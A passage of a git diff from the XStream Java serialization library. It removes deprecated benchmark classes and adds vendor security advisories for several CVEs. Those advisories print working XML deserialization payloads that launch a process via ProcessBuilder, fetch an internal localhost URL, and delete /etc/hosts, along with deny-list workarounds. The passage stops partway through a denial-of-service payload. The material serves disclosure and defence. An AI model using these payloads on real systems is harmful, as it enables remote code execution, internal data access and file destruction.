list.add(new Float(1.2f)); - list.add(new Double(1.2f)); - list.add(new File("profile.txt")); - list.add(Locale.ENGLISH); - } - - public boolean isEqual(Object other) { - return list.equals(other); - } - - public Object target() { - return list; - } - - public String toString() { - return "SingleValue Converters"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ExtendedTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ExtendedTarget.java deleted file mode 100644 index cc0e78a94..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ExtendedTarget.java +++ /dev/null @@ -1,100 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.awt.Color; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Method; -import java.lang.reflect.Proxy; -import java.util.ArrayList; -import java.util.List; -import java.util.Properties; - -/** - * Target containing extended types. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class ExtendedTarget implements Target { - - private final static Method EQUALS; - private final static Field LIST; - static { - Method method; - Field field; - try { - method = Object.class.getMethod("equals", new Class[]{Object.class}); - field = ExtendedTarget.class.getDeclaredField("list"); - } catch (NoSuchMethodException e) { - throw new ExceptionInInitializerError(e); - } catch (NoSuchFieldException e) { - throw new ExceptionInInitializerError(e); - } - EQUALS = method; - LIST = field; - } - - private List list; - - public ExtendedTarget() { - list = new ArrayList(); - list.add(new Color(128, 0, 255)); - Object proxy = Proxy - .newProxyInstance( - getClass().getClassLoader(), new Class[]{ - Runnable.class, Cloneable.class, Comparable.class}, - new RunnableInvocationHandler()); - list.add(proxy); - list.add(ExtendedTarget.class); - list.add(EQUALS); - list.add(LIST); - Properties properties = new Properties(); - properties.put("1", "one"); - properties.put("2", "two"); - properties.put("3", "three"); - list.add(properties); - } - - public boolean isEqual(Object other) { - return list.equals(other); - } - - public Object target() { - return list; - } - - public String toString() { - return "Standard Converters"; - } - - static class RunnableInvocationHandler implements InvocationHandler { - - public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { - if (method.equals(EQUALS)) { - return new Boolean(args[0] instanceof Runnable); - } else if (method.getName().equals("hashCode")) { - return new Integer(System.identityHashCode(proxy)); - } else if (method.getName().equals("toString")) { - return "Proxy" + System.identityHashCode(proxy); - } else if (method.getName().equals("getClass")) { - return proxy.getClass(); - } - return null; - } - - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JTreeTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JTreeTarget.java deleted file mode 100644 index c6611dd2d..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JTreeTarget.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -import javax.swing.*; - -/** - * A Swing JTree instance, which is a suitably complex object graph. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Target - * @see JTree - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class JTreeTarget implements Target { - - private JTree jTree = new JTree(); - - public String toString() { - return "JTree"; - } - - public Object target() { - return jTree; - } - - public boolean isEqual(Object other) { - // TODO: Check if JTrees are equal. -Joe - return true; - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JavaBeanTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JavaBeanTarget.java deleted file mode 100644 index 39a870f26..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/JavaBeanTarget.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright (C) 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 05. May 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; -import com.thoughtworks.xstream.tools.benchmark.model.FiveBean; -import com.thoughtworks.xstream.tools.benchmark.model.OneBean; - -import java.util.ArrayList; -import java.util.List; - -/** - * Target containing basic types using the JavaBeanConverter. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class JavaBeanTarget implements Target { - - private List list; - - public JavaBeanTarget() { - list = new ArrayList(); - for (int i = 0; i < 5; ++i) { - OneBean one = new OneBean(); - one.setOne(Integer.toString(i)); - list.add(one); - } - FiveBean five = new FiveBean(); - five.setOne("1"); - five.setTwo(2); - five.setThree(true); - five.setFour('4'); - five.setFive(new StringBuffer("5")); - list.add(five); - } - - public boolean isEqual(Object other) { - return list.equals(other); - } - - public Object target() { - return list; - } - - public String toString() { - return "JavaBean Converter"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ListTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ListTarget.java deleted file mode 100644 index 217c806de..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ListTarget.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.util.ArrayList; -import java.util.List; - -/** - * An ArrayList of user defined class ({@link Person}) instances to serialize. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Target - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class ListTarget implements Target { - - private List list = new ArrayList(); - - public ListTarget(int size) { - for (int i = 0; i < size; i++) { - Person person = new Person(); - person.firstName = "First name " + i; - person.lastName = "Last name " + i; - list.add(person); - } - } - - public String toString() { - return "List of " + list.size() + " user defined objects"; - } - - public Object target() { - return list; - } - - public boolean isEqual(Object other) { - return list.equals(other); - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/Person.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/Person.java deleted file mode 100644 index 4198adab6..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/Person.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import java.util.Date; -import java.io.Serializable; - -/** - * @see UserDefinedClassTarget - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class Person implements Serializable { - - public String firstName; - public String lastName; - public Date dateOfBirth; - - public boolean equals(Object o) { - if (this == o) return true; - if (o == null || getClass() != o.getClass()) return false; - - final Person person = (Person) o; - - if (dateOfBirth != null ? !dateOfBirth.equals(person.dateOfBirth) : person.dateOfBirth != null) return false; - if (firstName != null ? !firstName.equals(person.firstName) : person.firstName != null) return false; - return !(lastName != null ? !lastName.equals(person.lastName) : person.lastName != null); - } - - public int hashCode() { - int result; - result = (firstName != null ? firstName.hashCode() : 0); - result = 29 * result + (lastName != null ? lastName.hashCode() : 0); - result = 29 * result + (dateOfBirth != null ? dateOfBirth.hashCode() : 0); - return result; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ReflectionTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ReflectionTarget.java deleted file mode 100644 index dcb58f532..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/ReflectionTarget.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; -import com.thoughtworks.xstream.tools.benchmark.model.Five; -import com.thoughtworks.xstream.tools.benchmark.model.One; - -import java.util.ArrayList; -import java.util.List; - -/** - * Target containing basic types using the ReflectionConverter. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class ReflectionTarget implements Target { - - private List list; - - public ReflectionTarget() { - list = new ArrayList(); - for (int i = 0; i < 5; ++i) { - list.add(new One(Integer.toString(i))); - } - list.add(new Five("1", 2, true, '4', new StringBuffer("5"))); - } - - public boolean isEqual(Object other) { - return list.equals(other); - } - - public Object target() { - return list; - } - - public String toString() { - return "Reflection Converter"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/SerializableTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/SerializableTarget.java deleted file mode 100644 index 24c2b2a8b..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/SerializableTarget.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; -import com.thoughtworks.xstream.tools.benchmark.model.SerializableFive; -import com.thoughtworks.xstream.tools.benchmark.model.SerializableOne; - -import java.util.ArrayList; -import java.util.List; - -/** - * Target containing basic types using the SerializableConverter. - * - * @author Jörg Schaible - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class SerializableTarget implements Target { - - private List list; - - public SerializableTarget() { - list = new ArrayList(); - for (int i = 0; i < 5; ++i) { - list.add(new SerializableOne(Integer.toString(i))); - } - list.add(new SerializableFive("1", 2, true, '4', new StringBuffer("5"))); - } - - public boolean isEqual(Object other) { - return list.equals(other); - } - - public Object target() { - return list; - } - - public String toString() { - return "Serializable types"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/StringTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/StringTarget.java deleted file mode 100644 index b9e2386fd..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/StringTarget.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -/** - * A small java.lang.String target. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Target - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class StringTarget implements Target { - - private final String string = "Hello World!"; - - public String toString() { - return "Simple string"; - } - - public Object target() { - return string; - } - - public boolean isEqual(Object other) { - return string.equals(other); - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/UserDefinedClassTarget.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/UserDefinedClassTarget.java deleted file mode 100644 index c318a3b53..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/targets/UserDefinedClassTarget.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.targets; - -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.util.Date; - -/** - * A user defined class ({@link Person}) to serialize that contains a few simple fields. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Target - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class UserDefinedClassTarget implements Target { - - private final Person person; - - public UserDefinedClassTarget() { - person = new Person(); - person.firstName = "Joe"; - person.lastName = "Walnes"; - person.dateOfBirth = new Date(); - } - - public String toString() { - return "User defined class"; - } - - public Object target() { - return person; - } - - public boolean isEqual(Object other) { - return person.equals(other); - } -} diff --git a/xstream-builder/src/test/com/thoughtworks/acceptance/AbstractBuilderAcceptanceTest.java b/xstream-builder/src/test/com/thoughtworks/acceptance/AbstractBuilderAcceptanceTest.java index 1c1cfe959..1e78852d3 100644 --- a/xstream-builder/src/test/com/thoughtworks/acceptance/AbstractBuilderAcceptanceTest.java +++ b/xstream-builder/src/test/com/thoughtworks/acceptance/AbstractBuilderAcceptanceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007 XStream Committers. + * Copyright (C) 2007, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,6 +27,7 @@ import com.thoughtworks.xstream.ReadOnlyXStream; import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.binary.BinaryStreamWriter; import com.thoughtworks.xstream.io.binary.BinaryStreamReader; @@ -54,7 +55,7 @@ protected HierarchicalStreamDriver createDriver() { catch (Exception e) { throw new RuntimeException("Could not load driver: " + driver); } - return new XppDriver(); + return DefaultDriver.create(); } protected Object assertBothWaysNormalized(Object root, String xml, final String match, diff --git a/xstream-distribution/pom.xml b/xstream-distribution/pom.xml index 7fd49cad6..2f356ea12 100644 --- a/xstream-distribution/pom.xml +++ b/xstream-distribution/pom.xml @@ -1,7 +1,7 @@ + + CVE-2020-26217 + + + +

Vulnerability

+ +

CVE-2020-26217: XStream can be used for Remote Code Execution.

+ +

Affected Versions

+ +

All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that can execute arbitrary shell commands.

+ +

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime + environment, none of which is part of the XStream default blacklist. The same issue has already been reported for + Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
+        <dataHandler>
+          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+            <contentType>text/plain</contentType>
+            <is class='java.io.SequenceInputStream'>
+              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
+                <iterator class='javax.imageio.spi.FilterIterator'>
+                  <iter class='java.util.ArrayList$Itr'>
+                    <cursor>0</cursor>
+                    <lastRet>-1</lastRet>
+                    <expectedModCount>1</expectedModCount>
+                    <outer-class>
+                      <java.lang.ProcessBuilder>
+                        <command>
+                          <string>calc</string>
+                        </command>
+                      </java.lang.ProcessBuilder>
+                    </outer-class>
+                  </iter>
+                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
+                    <method>
+                      <class>java.lang.ProcessBuilder</class>
+                      <name>start</name>
+                      <parameter-types/>
+                    </method>
+                    <name>start</name>
+                  </filter>
+                  <next/>
+                </iterator>
+                <type>KEYS</type>
+              </e>
+              <in class='java.io.ByteArrayInputStream'>
+                <buf></buf>
+                <pos>0</pos>
+                <mark>0</mark>
+                <count>0</count>
+              </in>
+            </is>
+            <consumed>false</consumed>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <string>test</string>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed.

+ +

In a similar, but simpler scenario the javax.imageio.ImageIO.ContainsFilter is injected into an + java.util.Iterator instance and the payload is executed as soon as the iterator's next method is + called.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed + input stream.

+ +

Workaround

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add two lines to XStream's setup code:

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
+
+

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from + scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, + java.beans.EventHandler, java.lang.ProcessBuilder, java.lang.Void and void.

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
+
+

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

+
xstream.registerConverter(new Converter() {
+  public boolean canConvert(Class type) {
+    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || Proxy.isProxy(type));
+  }
+
+  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+
+  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+}, XStream.PRIORITY_VERY_HIGH);
+
+ +

Credits

+ +

Chen L found and reported the issue to XStream and provided the required information to reproduce it. He was + supported by Zhihong Tian and Hui Lu, both from Guangzhou University.

+ + + \ No newline at end of file diff --git a/xstream-distribution/src/content/CVE-2020-26258.html b/xstream-distribution/src/content/CVE-2020-26258.html new file mode 100644 index 000000000..e71888ca4 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2020-26258.html @@ -0,0 +1,115 @@ + + + + CVE-2020-26258 + + + +

Vulnerability

+ +

CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.14 are affected running in a Java environment below Java 15, if + using the version out of the box. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
+        <dataHandler>
+          <dataSource class='javax.activation.URLDataSource'>
+            <url>http://localhost:8080/internal/:</url>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <string>test</string>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workaround

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can + simply add two lines to XStream's setup code:

+
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup + code:

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from + scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, + java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, + java.lang.Void and void and deny several types by name pattern.

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

+
xstream.registerConverter(new Converter() {
+  public boolean canConvert(Class type) {
+    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
+        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
+        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
+        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
+  }
+
+  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+
+  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+}, XStream.PRIORITY_VERY_HIGH);
+
+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + \ No newline at end of file diff --git a/xstream-distribution/src/content/CVE-2020-26259.html b/xstream-distribution/src/content/CVE-2020-26259.html new file mode 100644 index 000000000..64bdaf6e2 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2020-26259.html @@ -0,0 +1,118 @@ + + + + CVE-2020-26259 + + + +

Vulnerability

+ +

CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long + as the executing process has sufficient rights.

+ +

Affected Versions

+ +

All versions until and including version 1.4.14 are affected running in a Java environment containing the JAX-WS + runtime, if using the version out of the box. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in the deletion of a file on the local host.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
+        <dataHandler>
+          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+            <contentType>text/plain</contentType>
+            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
+              <tempFile>/etc/hosts</tempFile>
+            </is>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <string>test</string>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the referenced file is deleted.

+ +

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing + process has sufficient rights only by manipulating the processed input stream.

+ +

Workaround

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can + simply add two lines to XStream's setup code:

+
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup + code:

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from + scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, + java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, + java.lang.Void and void and deny several types by name pattern.

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

+
xstream.registerConverter(new Converter() {
+  public boolean canConvert(Class type) {
+    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
+        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
+        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
+        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
+  }
+
+  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+
+  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+}, XStream.PRIORITY_VERY_HIGH);
+
+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + \ No newline at end of file diff --git a/xstream-distribution/src/content/CVE-2021-21341.html b/xstream-distribution/src/content/CVE-2021-21341.html new file mode 100644 index 000000000..02b8d3830 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21341.html @@ -0,0 +1,89 @@ + + + + CVE-2021-21341 + + + +

Vulnerability

+ +

CVE-2021-21341: XStream can cause a Denial of Service.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject a manipulated ByteArrayInputStream (or derived class), that can cause an endless + loop resulting in a denial of service.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='javafx.collections.ObservableList$1'/>
+    </default>
+    <int>3</int>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+      <dataHandler>
